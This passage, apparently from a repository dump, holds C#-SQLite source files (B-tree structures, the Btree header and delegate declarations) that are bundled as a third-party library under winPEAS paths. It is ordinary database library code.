*/\n      public u32 nData;     /* Number of bytes of data */\n      public u32 nPayload;  /* Total amount of payload */\n      public u16 nHeader;   /* Size of the cell content header in bytes */\n      public u16 nLocal;    /* Amount of payload held locally */\n      public u16 iOverflow; /* Offset to overflow page number.  Zero if no overflow */\n      public u16 nSize;     /* Size of the cell content on the main b-tree page */\n      public bool Equals( CellInfo ci )\n      {\n        if ( ci.pCell[ci.iCell] != this.pCell[iCell] ) return false;\n        if ( ci.nKey != this.nKey || ci.nData != this.nData || ci.nPayload != this.nPayload ) return false;\n        if ( ci.nHeader != this.nHeader || ci.nLocal != this.nLocal ) return false;\n        if ( ci.iOverflow != this.iOverflow || ci.nSize != this.nSize ) return false;\n        return true;\n      }\n    };\n\n    /*\n    ** Maximum depth of an SQLite B-Tree structure. Any B-Tree deeper than\n    ** this will be declared corrupt. This value is calculated based on a\n    ** maximum database size of 2^31 pages a minimum fanout of 2 for a\n    ** root-node and 3 for all other internal nodes.\n    **\n    ** If a tree that appears to be taller than this is encountered, it is\n    ** assumed that the database is corrupt.\n    */\n    //#define BTCURSOR_MAX_DEPTH 20\n    const int BTCURSOR_MAX_DEPTH = 20;\n\n    /*\n    ** A cursor is a pointer to a particular entry within a particular\n    ** b-tree within a database file.\n    **\n    ** The entry is identified by its MemPage and the index in\n    ** MemPage.aCell[] of the entry.\n    **\n    ** When a single database file can shared by two more database connections,\n    ** but cursors cannot be shared.  Each cursor is associated with a\n    ** particular database connection identified BtCursor.pBtree.db.\n    **\n    ** Fields in this structure are accessed under the BtShared.mutex\n    ** found at self.pBt.mutex.\n    */\n    public class BtCursor\n    {\n      public Btree pBtree;            /* The Btree to which this cursor belongs */\n      public BtShared pBt;            /* The BtShared this cursor points to */\n      public BtCursor pNext;\n      public BtCursor pPrev;          /* Forms a linked list of all cursors */\n      public KeyInfo pKeyInfo;        /* Argument passed to comparison function */\n      public Pgno pgnoRoot;            /* The root page of this tree */\n      public sqlite3_int64 cachedRowid; /* Next rowid cache.  0 means not valid */\n      public CellInfo info = new CellInfo();           /* A parse of the cell we are pointing at */\n      public u8 wrFlag;               /* True if writable */\n      public u8 atLast;               /* VdbeCursor pointing to the last entry */\n      public bool validNKey;          /* True if info.nKey is valid */\n      public int eState;              /* One of the CURSOR_XXX constants (see below) */\n      public byte[] pKey;             /* Saved key that was cursor's last known position */\n      public i64 nKey;                /* Size of pKey, or last integer key */\n      public int skipNext;            /* Prev() is noop if negative. Next() is noop if positive */\n#if !SQLITE_OMIT_INCRBLOB\npublic bool isIncrblobHandle;   /* True if this cursor is an incr. io handle */\npublic Pgno[] aOverflow;         /* Cache of overflow page locations */\n#endif\n      public i16 iPage;                                          /* Index of current page in apPage */\n      public MemPage[] apPage = new MemPage[BTCURSOR_MAX_DEPTH]; /* Pages from root to current page */\n      public u16[] aiIdx = new u16[BTCURSOR_MAX_DEPTH];           /* Current index in apPage[i] */\n\n      public BtCursor Copy()\n      {\n        BtCursor cp = (BtCursor)MemberwiseClone();\n        return cp;\n      }\n    };\n\n    /*\n    ** Potential values for BtCursor.eState.\n    **\n    ** CURSOR_VALID:\n    **   VdbeCursor points to a valid entry. getPayload() etc. may be called.\n    **\n    ** CURSOR_INVALID:\n    **   VdbeCursor does not point to a valid entry. This can happen (for example)\n    **   because the table is empty or because BtreeCursorFirst() has not been\n    **   called.\n    **\n    ** CURSOR_REQUIRESEEK:\n    **   The table that this cursor was opened on still exists, but has been\n    **   modified since the cursor was last used. The cursor position is saved\n    **   in variables BtCursor.pKey and BtCursor.nKey. When a cursor is in\n    **   this state, restoreCursorPosition() can be called to attempt to\n    **   seek the cursor to the saved position.\n    **\n    ** CURSOR_FAULT:\n    **   A unrecoverable error (an I/O error or a malloc failure) has occurred\n    **   on a different connection that shares the BtShared cache with this\n    **   cursor.  The error has left the cache in an inconsistent state.\n    **   Do nothing else with this cursor.  Any attempt to use the cursor\n    **   should return the error code stored in BtCursor.skip\n    */\n    const int CURSOR_INVALID = 0;\n    const int CURSOR_VALID = 1;\n    const int CURSOR_REQUIRESEEK = 2;\n    const int CURSOR_FAULT = 3;\n\n    /*\n    ** The database page the PENDING_BYTE occupies. This page is never used.\n    */\n    //# define PENDING_BYTE_PAGE(pBt) PAGER_MJ_PGNO(pBt)\n    // TODO -- Convert PENDING_BYTE_PAGE to inline\n    static u32 PENDING_BYTE_PAGE( BtShared pBt ) { return (u32)PAGER_MJ_PGNO( pBt.pPager ); }\n\n    /*\n    ** These macros define the location of the pointer-map entry for a\n    ** database page. The first argument to each is the number of usable\n    ** bytes on each page of the database (often 1024). The second is the\n    ** page number to look up in the pointer map.\n    **\n    ** PTRMAP_PAGENO returns the database page number of the pointer-map\n    ** page that stores the required pointer. PTRMAP_PTROFFSET returns\n    ** the offset of the requested map entry.\n    **\n    ** If the pgno argument passed to PTRMAP_PAGENO is a pointer-map page,\n    ** then pgno is returned. So (pgno==PTRMAP_PAGENO(pgsz, pgno)) can be\n    ** used to test if pgno is a pointer-map page. PTRMAP_ISPAGE implements\n    ** this test.\n    */\n    //#define PTRMAP_PAGENO(pBt, pgno) ptrmapPageno(pBt, pgno)\n    static Pgno PTRMAP_PAGENO( BtShared pBt, Pgno pgno ) { return ptrmapPageno( pBt, pgno ); }\n    //#define PTRMAP_PTROFFSET(pgptrmap, pgno) (5*(pgno-pgptrmap-1))\n    static u32 PTRMAP_PTROFFSET( u32 pgptrmap, u32 pgno ) { return ( 5 * ( pgno - pgptrmap - 1 ) ); }\n    //#define PTRMAP_ISPAGE(pBt, pgno) (PTRMAP_PAGENO((pBt),(pgno))==(pgno))\n    static bool PTRMAP_ISPAGE( BtShared pBt, u32 pgno ) { return ( PTRMAP_PAGENO( ( pBt ), ( pgno ) ) == ( pgno ) ); }\n    /*\n    ** The pointer map is a lookup table that identifies the parent page for\n    ** each child page in the database file.  The parent page is the page that\n    ** contains a pointer to the child.  Every page in the database contains\n    ** 0 or 1 parent pages.  (In this context 'database page' refers\n    ** to any page that is not part of the pointer map itself.)  Each pointer map\n    ** entry consists of a single byte 'type' and a 4 byte parent page number.\n    ** The PTRMAP_XXX identifiers below are the valid types.\n    **\n    ** The purpose of the pointer map is to facility moving pages from one\n    ** position in the file to another as part of autovacuum.  When a page\n    ** is moved, the pointer in its parent must be updated to point to the\n    ** new location.  The pointer map is used to locate the parent page quickly.\n    **\n    ** PTRMAP_ROOTPAGE: The database page is a root-page. The page-number is not\n    **                  used in this case.\n    **\n    ** PTRMAP_FREEPAGE: The database page is an unused (free) page. The page-number\n    **                  is not used in this case.\n    **\n    ** PTRMAP_OVERFLOW1: The database page is the first page in a list of\n    **                   overflow pages. The page number identifies the page that\n    **                   contains the cell with a pointer to this overflow page.\n    **\n    ** PTRMAP_OVERFLOW2: The database page is the second or later page in a list of\n    **                   overflow pages. The page-number identifies the previous\n    **                   page in the overflow page list.\n    **\n    ** PTRMAP_BTREE: The database page is a non-root btree page. The page number\n    **               identifies the parent page in the btree.\n    */\n    //#define PTRMAP_ROOTPAGE 1\n    //#define PTRMAP_FREEPAGE 2\n    //#define PTRMAP_OVERFLOW1 3\n    //#define PTRMAP_OVERFLOW2 4\n    //#define PTRMAP_BTREE 5\n    const int PTRMAP_ROOTPAGE = 1;\n    const int PTRMAP_FREEPAGE = 2;\n    const int PTRMAP_OVERFLOW1 = 3;\n    const int PTRMAP_OVERFLOW2 = 4;\n    const int PTRMAP_BTREE = 5;\n\n    /* A bunch of Debug.Assert() statements to check the transaction state variables\n    ** of handle p (type Btree*) are internally consistent.\n    */\n#if DEBUG\n    //#define btreeIntegrity(p) \\\n    //  Debug.Assert( p.pBt.inTransaction!=TRANS_NONE || p.pBt.nTransaction==0 ); \\\n    //  Debug.Assert( p.pBt.inTransaction>=p.inTrans );\n    static void btreeIntegrity( Btree p )\n    {\n      Debug.Assert( p.pBt.inTransaction != TRANS_NONE || p.pBt.nTransaction == 0 );\n      Debug.Assert( p.pBt.inTransaction >= p.inTrans );\n    }\n#else\n    static void btreeIntegrity(Btree p) { }\n#endif\n\n    /*\n** The ISAUTOVACUUM macro is used within balance_nonroot() to determine\n** if the database supports auto-vacuum or not. Because it is used\n** within an expression that is an argument to another macro\n** (sqliteMallocRaw), it is not possible to use conditional compilation.\n** So, this macro is defined instead.\n*/\n#if !SQLITE_OMIT_AUTOVACUUM\n    //#define ISAUTOVACUUM (pBt.autoVacuum)\n#else\n//#define ISAUTOVACUUM 0\npublic static bool ISAUTOVACUUM =false;\n#endif\n\n\n    /*\n** This structure is passed around through all the sanity checking routines\n** in order to keep track of some global state information.\n*/\n    //typedef struct IntegrityCk IntegrityCk;\n    public class IntegrityCk\n    {\n      public BtShared pBt;      /* The tree being checked out */\n      public Pager pPager;      /* The associated pager.  Also accessible by pBt.pPager */\n      public Pgno nPage;        /* Number of pages in the database */\n      public int[] anRef;       /* Number of times each page is referenced */\n      public int mxErr;         /* Stop accumulating errors when this reaches zero */\n      public int nErr;          /* Number of messages written to zErrMsg so far */\n      //public int mallocFailed;  /* A memory allocation error has occurred */\n      public StrAccum errMsg = new StrAccum(); /* Accumulate the error message text here */\n    };\n\n    /*\n    ** Read or write a two- and four-byte big-endian integer values.\n    */\n    //#define get2byte(x)   ((x)[0]<<8 | (x)[1])\n    static int get2byte( byte[] p, int offset )\n    { return p[offset + 0] << 8 | p[offset + 1]; }\n\n    //#define put2byte(p,v) ((p)[0] = (u8)((v)>>8), (p)[1] = (u8)(v))\n    static void put2byte( byte[] pData, int Offset, u32 v )\n    { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; }\n    static void put2byte( byte[] pData, int Offset, int v )\n    { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; }\n\n    //#define get4byte sqlite3Get4byte\n    //#define put4byte sqlite3Put4byte\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Btree_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This header file defines the interface that the sqlite B-Tree file\n    ** subsystem.  See comments in the source code for a detailed description\n    ** of what each interface routine does.\n    **\n    ** @(#) $Id: btree.h,v 1.120 2009/07/22 00:35:24 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_BTREE_H_\n    //#define _BTREE_H_\n\n    /* TODO: This definition is just included so other modules compile. It\n    ** needs to be revisited.\n    */\n    const int SQLITE_N_BTREE_META = 10;\n\n    /*\n    ** If defined as non-zero, auto-vacuum is enabled by default. Otherwise\n    ** it must be turned on for each database using \"PRAGMA auto_vacuum = 1\".\n    */\n#if !SQLITE_DEFAULT_AUTOVACUUM\n    const int SQLITE_DEFAULT_AUTOVACUUM = 0;\n#endif\n\n    const int BTREE_AUTOVACUUM_NONE = 0;        /* Do not do auto-vacuum */\n    const int BTREE_AUTOVACUUM_FULL = 1;        /* Do full auto-vacuum */\n    const int BTREE_AUTOVACUUM_INCR = 2;        /* Incremental vacuum */\n\n    /*\n    ** Forward declarations of structure\n    */\n    //typedef struct Btree Btree;\n    //typedef struct BtCursor BtCursor;\n    //typedef struct BtShared BtShared;\n    //typedef struct BtreeMutexArray BtreeMutexArray;\n\n    /*\n    ** This structure records all of the Btrees that need to hold\n    ** a mutex before we enter sqlite3VdbeExec().  The Btrees are\n    ** are placed in aBtree[] in order of aBtree[].pBt.  That way,\n    ** we can always lock and unlock them all quickly.\n    */\n    public class BtreeMutexArray\n    {\n      public int nMutex;\n      public Btree[] aBtree = new Btree[SQLITE_MAX_ATTACHED + 1];\n    };\n\n\n    //int sqlite3BtreeOpen(\n    //  string zFilename,       /* Name of database file to open */\n    //  sqlite3 db,             /* Associated database connection */\n    //  Btree **ppBtree,        /* Return open Btree* here */\n    //  int flags,              /* Flags */\n    //  int vfsFlags            /* Flags passed through to VFS open */\n    //);\n\n    /* The flags parameter to sqlite3BtreeOpen can be the bitwise or of the\n    ** following values.\n    **\n    ** NOTE:  These values must match the corresponding PAGER_ values in\n    ** pager.h.\n    */\n    const int BTREE_OMIT_JOURNAL = 1; /* Do not use journal.  No argument */\n    const int BTREE_NO_READLOCK = 2; /* Omit readlocks on readonly files */\n    const int BTREE_MEMORY = 4; /* In-memory DB.  No argument */\n    const int BTREE_READONLY = 8; /* Open the database in read-only mode */\n    const int BTREE_READWRITE = 16; /* Open for both reading and writing */\n    const int BTREE_CREATE = 32; /* Create the database if it does not exist */\n\n    //int sqlite3BtreeClose(Btree*);\n    //int sqlite3BtreeSetCacheSize(Btree*,int);\n    //int sqlite3BtreeSetSafetyLevel(Btree*,int,int);\n    //int sqlite3BtreeSyncDisabled(Btree*);\n    //int sqlite3BtreeSetPageSize(Btree *p, int nPagesize, int nReserve, int eFix);\n    //int sqlite3BtreeGetPageSize(Btree*);\n    //int sqlite3BtreeMaxPageCount(Btree*,int);\n    //int sqlite3BtreeGetReserve(Btree*);\n    //int sqlite3BtreeSetAutoVacuum(Btree , int);\n    //int sqlite3BtreeGetAutoVacuum(Btree );\n    //int sqlite3BtreeBeginTrans(Btree*,int);\n    //int sqlite3BtreeCommitPhaseOne(Btree*, string zMaster);\n    //int sqlite3BtreeCommitPhaseTwo(Btree*);\n    //int sqlite3BtreeCommit(Btree*);\n    //int sqlite3BtreeRollback(Btree*);\n    //int sqlite3BtreeBeginStmt(Btree*);\n    //int sqlite3BtreeCreateTable(Btree*, int*, int flags);\n    //int sqlite3BtreeIsInTrans(Btree*);\n    //int sqlite3BtreeIsInReadTrans(Btree*);\n    //int sqlite3BtreeIsInBackup(Btree*);\n    //void *sqlite3BtreeSchema(Btree , int, void(*)(void *));\n    //int sqlite3BtreeSchemaLocked( Btree* pBtree );\n    //int sqlite3BtreeLockTable( Btree* pBtree, int iTab, u8 isWriteLock );\n    //int sqlite3BtreeSavepoint(Btree *, int, int);\n\n    //const char *sqlite3BtreeGetFilename(Btree );\n    //const char *sqlite3BtreeGetJournalname(Btree );\n    //int sqlite3BtreeCopyFile(Btree *, Btree *);\n\n    //int sqlite3BtreeIncrVacuum(Btree );\n\n    /* The flags parameter to sqlite3BtreeCreateTable can be the bitwise OR\n    ** of the following flags:\n    */\n    const int BTREE_INTKEY = 1;   /* Table has only 64-bit signed integer keys */\n    const int BTREE_ZERODATA = 2;   /* Table has keys only - no data */\n    const int BTREE_LEAFDATA = 4; /* Data stored in leaves only.  Implies INTKEY */\n\n    //int sqlite3BtreeDropTable(Btree*, int, int*);\n    //int sqlite3BtreeClearTable(Btree*, int, int*);\n    //void sqlite3BtreeTripAllCursors(Btree*, int);\n\n    //void sqlite3BtreeGetMeta(Btree *pBtree, int idx, u32 *pValue);\n    //int sqlite3BtreeUpdateMeta(Btree*, int idx, u32 value);\n\n\n    /*\n    ** The second parameter to sqlite3BtreeGetMeta or sqlite3BtreeUpdateMeta\n    ** should be one of the following values. The integer values are assigned\n    ** to constants so that the offset of the corresponding field in an\n    ** SQLite database header may be found using the following formula:\n    **\n    **   offset = 36 + (idx * 4)\n    **\n    ** For example, the free-page-count field is located at byte offset 36 of\n    ** the database file header. The incr-vacuum-flag field is located at\n    ** byte offset 64 (== 36+4*7).\n    */\n    //#define BTREE_FREE_PAGE_COUNT     0\n    //#define BTREE_SCHEMA_VERSION      1\n    //#define BTREE_FILE_FORMAT         2\n    //#define BTREE_DEFAULT_CACHE_SIZE  3\n    //#define BTREE_LARGEST_ROOT_PAGE   4\n    //#define BTREE_TEXT_ENCODING       5\n    //#define BTREE_USER_VERSION        6\n    //#define BTREE_INCR_VACUUM         7\n    const int BTREE_FREE_PAGE_COUNT = 0;\n    const int BTREE_SCHEMA_VERSION = 1;\n    const int BTREE_FILE_FORMAT = 2;\n    const int BTREE_DEFAULT_CACHE_SIZE = 3;\n    const int BTREE_LARGEST_ROOT_PAGE = 4;\n    const int BTREE_TEXT_ENCODING = 5;\n    const int BTREE_USER_VERSION = 6;\n    const int BTREE_INCR_VACUUM = 7;\n\n    //int sqlite3BtreeCursor(\n    //  Btree*,                              /* BTree containing table to open */\n    //  int iTable,                          /* Index of root page */\n    //  int wrFlag,                          /* 1 for writing.  0 for read-only */\n    //  struct KeyInfo*,                     /* First argument to compare function */\n    //  BtCursor pCursor                    /* Space to write cursor structure */\n    //);\n    //int sqlite3BtreeCursorSize(void);\n\n    //int sqlite3BtreeCloseCursor(BtCursor*);\n    //int sqlite3BtreeMovetoUnpacked(\n    //  BtCursor*,\n    //  UnpackedRecord pUnKey,\n    //  i64 intKey,\n    //  int bias,\n    //  int pRes\n    //);\n    //int sqlite3BtreeCursorHasMoved(BtCursor*, int*);\n    //int sqlite3BtreeDelete(BtCursor*);\n    //int sqlite3BtreeInsert(BtCursor*, const void pKey, i64 nKey,\n    //                                  const void pData, int nData,\n    //                                  int nZero, int bias, int seekResult);\n    //int sqlite3BtreeFirst(BtCursor*, int pRes);\n    //int sqlite3BtreeLast(BtCursor*, int pRes);\n    //int sqlite3BtreeNext(BtCursor*, int pRes);\n    //int sqlite3BtreeEof(BtCursor*);\n    //int sqlite3BtreePrevious(BtCursor*, int pRes);\n    //int sqlite3BtreeKeySize(BtCursor*, i64 pSize);\n    //int sqlite3BtreeKey(BtCursor*, u32 offset, u32 amt, void*);\n    //const void *sqlite3BtreeKeyFetch(BtCursor*, int pAmt);\n    //const void *sqlite3BtreeDataFetch(BtCursor*, int pAmt);\n    //int sqlite3BtreeDataSize(BtCursor*, u32 pSize);\n    //int sqlite3BtreeData(BtCursor*, u32 offset, u32 amt, void*);\n    //void sqlite3BtreeSetCachedRowid(BtCursor*, sqlite3_int64);\n    //sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor*);\n\n    //char *sqlite3BtreeIntegrityCheck(Btree*, int *aRoot, int nRoot, int, int*);\n    //struct Pager *sqlite3BtreePager(Btree*);\n\n    //int sqlite3BtreePutData(BtCursor*, u32 offset, u32 amt, void*);\n    //void sqlite3BtreeCacheOverflow(BtCursor );\n    //void sqlite3BtreeClearCursor(BtCursor *);\n\n    //#ifndef NDEBUG\n    //int sqlite3BtreeCursorIsValid(BtCursor*);\n    //#endif\n\n    //#if !SQLITE_OMIT_BTREECOUNT\n    //int sqlite3BtreeCount(BtCursor *, i64 *);\n    //#endif\n\n    //#if SQLITE_TEST\n    //int sqlite3BtreeCursorInfo(BtCursor*, int*, int);\n    //void sqlite3BtreeCursorList(Btree*);\n    //#endif\n\n#if !SQLITE_OMIT_SHARED_CACHE\n//void sqlite3BtreeEnter(Btree*);\n//void sqlite3BtreeEnterAll(sqlite3*);\n#else\n    //# define sqlite3BtreeEnter(X)\n    static void sqlite3BtreeEnter( Btree bt ) { }\n    //# define sqlite3BtreeEnterAll(X)\n    static void sqlite3BtreeEnterAll( sqlite3 p ) { }\n#endif\n\n#if !(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE\n//void sqlite3BtreeLeave(Btree*);\n//void sqlite3BtreeEnterCursor(BtCursor*);\n//void sqlite3BtreeLeaveCursor(BtCursor*);\n//void sqlite3BtreeLeaveAll(sqlite3*);\n//void sqlite3BtreeMutexArrayEnter(BtreeMutexArray*);\n//void sqlite3BtreeMutexArrayLeave(BtreeMutexArray*);\n//void sqlite3BtreeMutexArrayInsert(BtreeMutexArray*, Btree*);\n#if !NDEBUG\n/* These routines are used inside assert() statements only. */\nint sqlite3BtreeHoldsMutex(Btree*);\nint sqlite3BtreeHoldsAllMutexes(sqlite3*);\n#endif\n#else\n\n    //# define sqlite3BtreeLeave(X)\n    static void sqlite3BtreeLeave( Btree X ) { }\n\n    //# define sqlite3BtreeEnterCursor(X)\n    static void sqlite3BtreeEnterCursor( BtCursor X ) { }\n\n    //# define sqlite3BtreeLeaveCursor(X)\n    static void sqlite3BtreeLeaveCursor( BtCursor X ) { }\n\n    //# define sqlite3BtreeLeaveAll(X)\n    static void sqlite3BtreeLeaveAll( sqlite3 X ) { }\n\n    //# define sqlite3BtreeMutexArrayEnter(X)\n    static void sqlite3BtreeMutexArrayEnter( BtreeMutexArray X ) { }\n\n    //# define sqlite3BtreeMutexArrayLeave(X)\n    static void sqlite3BtreeMutexArrayLeave( BtreeMutexArray X ) { }\n\n    //# define sqlite3BtreeMutexArrayInsert(X,Y)\n    static void sqlite3BtreeMutexArrayInsert( BtreeMutexArray X, Btree Y ) { }\n\n    //# define sqlite3BtreeHoldsMutex(X) 1\n    static bool sqlite3BtreeHoldsMutex( Btree X ) { return true; }\n\n    //# define sqlite3BtreeHoldsAllMutexes(X) 1\n    static bool sqlite3BtreeHoldsAllMutexes( sqlite3 X ) { return true; }\n#endif\n\n\n    //#endif // * _BTREE_H_ */\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Delagates.cs",
    "content": "    /*\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/Delagates.cs $\n    **  Revision        : $Revision$\n    **  Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $\n    **  Last Changed By : $LastChangedBy: noah.hart $\n    *************************************************************************\n    */\n\n    using System.Text;\n    using HANDLE = System.IntPtr;\n    using u32 = System.UInt32;\nusing u64 = System.UInt64;\n\nusing sqlite3_int64 = System.Int64;\n\n    namespace winPEAS._3rdParty.SQLite.src\n{\n  using DbPage = CSSQLite.PgHdr;\n  using sqlite3_stmt = CSSQLite.Vdbe;\n  using sqlite3_value = CSSQLite.Mem;\n  using sqlite3_pcache = CSSQLite.PCache1;\n\n  public partial class CSSQLite\n  {\n    public delegate void dxAuth( object pAuthArg, int b, string c, string d, string e, string f );\n    public delegate int dxBusy( object pBtShared, int iValue );\n    public delegate void dxFreeAux( object pAuxArg );\n    public delegate int dxCallback( object pCallbackArg, sqlite3_int64 argc, object p2, object p3 );\n    public delegate void dxCollNeeded( object pCollNeededArg, sqlite3 db, int eTextRep, string collationName );\n    public delegate int dxCommitCallback( object pCommitArg );\n    public delegate int dxCompare( object pCompareArg, int size1, string Key1, int size2, string Key2 );\n    public delegate bool dxCompare4( string Key1, int size1, string Key2, int size2 );\n    public delegate void dxDel ( ref string pDelArg ); // needs ref\n    public delegate void dxDelCollSeq( ref object pDelArg ); // needs ref\n    public delegate void dxProfile( object pProfileArg, string msg, u64 time );\n    public delegate int dxProgress( object pProgressArg );\n    public delegate void dxRollbackCallback( object pRollbackArg );\n    public delegate void dxTrace( object pTraceArg, string msg );\n    public delegate void dxUpdateCallback( object pUpdateArg, int b, string c, string d, sqlite3_int64 e );\n\n    /*\n     * FUNCTIONS\n     *\n     */\n    public delegate void dxFunc( sqlite3_context ctx, int intValue, sqlite3_value[] value );\n    public delegate void dxStep( sqlite3_context ctx, int intValue, sqlite3_value[] value );\n    public delegate void dxFinal( sqlite3_context ctx );\n    //\n    public delegate string dxColname( sqlite3_value pVal );\n    public delegate int dxFuncBtree( Btree p );\n    public delegate int dxExprTreeFunction( ref int pArg, Expr pExpr );\n    public delegate int dxExprTreeFunction_NC( NameContext pArg, ref Expr pExpr );\n    public delegate int dxExprTreeFunction_OBJ( object pArg, Expr pExpr );\n    /*\n       VFS Delegates\n    */\n    public delegate int dxClose( sqlite3_file File_ID );\n    public delegate int dxCheckReservedLock( sqlite3_file File_ID, ref int pRes);\n    public delegate int dxDeviceCharacteristics( sqlite3_file File_ID );\n    public delegate int dxFileControl( sqlite3_file File_ID, int op, ref int pArgs );\n    public delegate int dxFileSize( sqlite3_file File_ID, ref int size );\n    public delegate int dxLock( sqlite3_file File_ID, int locktype );\n    public delegate int dxRead( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset );\n    public delegate int dxSectorSize( sqlite3_file File_ID );\n    public delegate int dxSync( sqlite3_file File_ID, int flags );\n    public delegate int dxTruncate( sqlite3_file File_ID, sqlite3_int64 size );\n    public delegate int dxUnlock( sqlite3_file File_ID, int locktype );\n    public delegate int dxWrite( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset );\n\n    /*\n         sqlite_vfs Delegates\n     */\n    public delegate int dxOpen( sqlite3_vfs vfs, string zName, sqlite3_file db, int flags, ref int pOutFlags );\n    public delegate int dxDelete( sqlite3_vfs vfs, string zName, int syncDir );\n    public delegate int dxAccess( sqlite3_vfs vfs, string zName, int flags, ref int pResOut );\n    public delegate int dxFullPathname( sqlite3_vfs vfs, string zName, int nOut, StringBuilder zOut );\n    public delegate HANDLE dxDlOpen( sqlite3_vfs vfs, string zFilename );\n    public delegate int dxDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg );\n    public delegate HANDLE dxDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol );\n    public delegate int dxDlClose( sqlite3_vfs vfs, HANDLE data );\n    public delegate int dxRandomness( sqlite3_vfs vfs, int nByte, ref byte[] buffer );\n    public delegate int dxSleep( sqlite3_vfs vfs, int microseconds );\n    public delegate int dxCurrentTime( sqlite3_vfs vfs, ref double currenttime );\n    public delegate int dxGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf );\n\n    /*\n     * Pager Delegates\n     */\n\n    public delegate void dxDestructor( DbPage dbPage); /* Call this routine when freeing pages */\n    public delegate int dxBusyHandler( object pBusyHandlerArg );\n    public delegate void dxReiniter( DbPage dbPage );   /* Call this routine when reloading pages */\n\n    public delegate void dxFreeSchema( Schema schema );\n\n    //Module\n    public delegate void dxDestroy( ref PgHdr pDestroyArg );\n    public delegate int dxStress (object obj,PgHdr pPhHdr);\n\n    //sqlite3_module\n    public delegate int smdxCreate( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError );\n    public delegate int smdxConnect( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError );\n    public delegate int smdxBestIndex( sqlite3_vtab pVTab, ref sqlite3_index_info pIndex );\n    public delegate int smdxDisconnect( sqlite3_vtab pVTab );\n    public delegate int smdxDestroy( sqlite3_vtab pVTab );\n    public delegate int smdxOpen( sqlite3_vtab pVTab, ref sqlite3_vtab_cursor ppCursor );\n    public delegate int smdxClose( sqlite3_vtab_cursor pCursor );\n    public delegate int smdxFilter( sqlite3_vtab_cursor pCursor, int idxNum, string idxStr, int argc, sqlite3_value[] argv );\n    public delegate int smdxNext( sqlite3_vtab_cursor pCursor );\n    public delegate int smdxEof( sqlite3_vtab_cursor pCursor );\n    public delegate int smdxColumn( sqlite3_vtab_cursor pCursor, sqlite3_context p2, int p3 );\n    public delegate int smdxRowid( sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid );\n    public delegate int smdxUpdate( sqlite3_vtab pVTab, int p1, sqlite3_value[] p2, sqlite3_int64 p3 );\n    public delegate int smdxBegin( sqlite3_vtab pVTab );\n    public delegate int smdxSync( sqlite3_vtab pVTab );\n    public delegate int smdxCommit( sqlite3_vtab pVTab );\n    public delegate int smdxRollback( sqlite3_vtab pVTab );\n    public delegate int smdxFindFunction( sqlite3_vtab pVtab, int nArg, string zName, object pxFunc, ref sqlite3_value[] ppArg );\n    public delegate int smdxRename( sqlite3_vtab pVtab, string zNew );\n\n    //AutoExtention\n    public delegate int dxInit( sqlite3 db, ref string zMessage, sqlite3_api_routines sar );\n#if !SQLITE_OMIT_VIRTUALTABLE\n    public delegate int dmxCreate(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7);\n    public delegate int dmxConnect(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7);\n    public delegate int dmxBestIndex(sqlite3_vtab pVTab, sqlite3_index_info pIndexInfo);\n    public delegate int dmxDisconnect(sqlite3_vtab pVTab);\n    public delegate int dmxDestroy(sqlite3_vtab pVTab);\n    public delegate int dmxOpen(sqlite3_vtab pVTab, sqlite3_vtab_cursor ppCursor);\n    public delegate int dmxClose(sqlite3_vtab_cursor pCursor);\n    public delegate int dmxFilter(sqlite3_vtab_cursor pCursor, int idmxNum, string idmxStr, int argc, sqlite3_value argv);\n    public delegate int dmxNext(sqlite3_vtab_cursor pCursor);\n    public delegate int dmxEof(sqlite3_vtab_cursor pCursor);\n    public delegate int dmxColumn(sqlite3_vtab_cursor pCursor, sqlite3_context ctx, int i3);\n    public delegate int dmxRowid(sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid);\n    public delegate int dmxUpdate(sqlite3_vtab pVTab, int i2, sqlite3_value sv3, sqlite3_int64 v4);\n    public delegate int dmxBegin(sqlite3_vtab pVTab);\n    public delegate int dmxSync(sqlite3_vtab pVTab);\n    public delegate int dmxCommit(sqlite3_vtab pVTab);\n    public delegate int dmxRollback(sqlite3_vtab pVTab);\n    public delegate int dmxFindFunction(sqlite3_vtab pVtab, int nArg, string zName);\n    public delegate int dmxRename(sqlite3_vtab pVtab, string zNew);\n#endif\n    //Faults\n    public delegate void void_function();\n\n//Alarms\n    public delegate void dxalarmCallback (object pData, sqlite3_int64 p1, int p2);\n\n    //Mem Methods\n    public delegate int dxMemInit (object o);\n    public delegate void dxMemShutdown( object o );\n    public delegate byte[] dxMalloc (int nSize);\n    public delegate void dxFree( ref byte[]  pOld);\n    public delegate byte[] 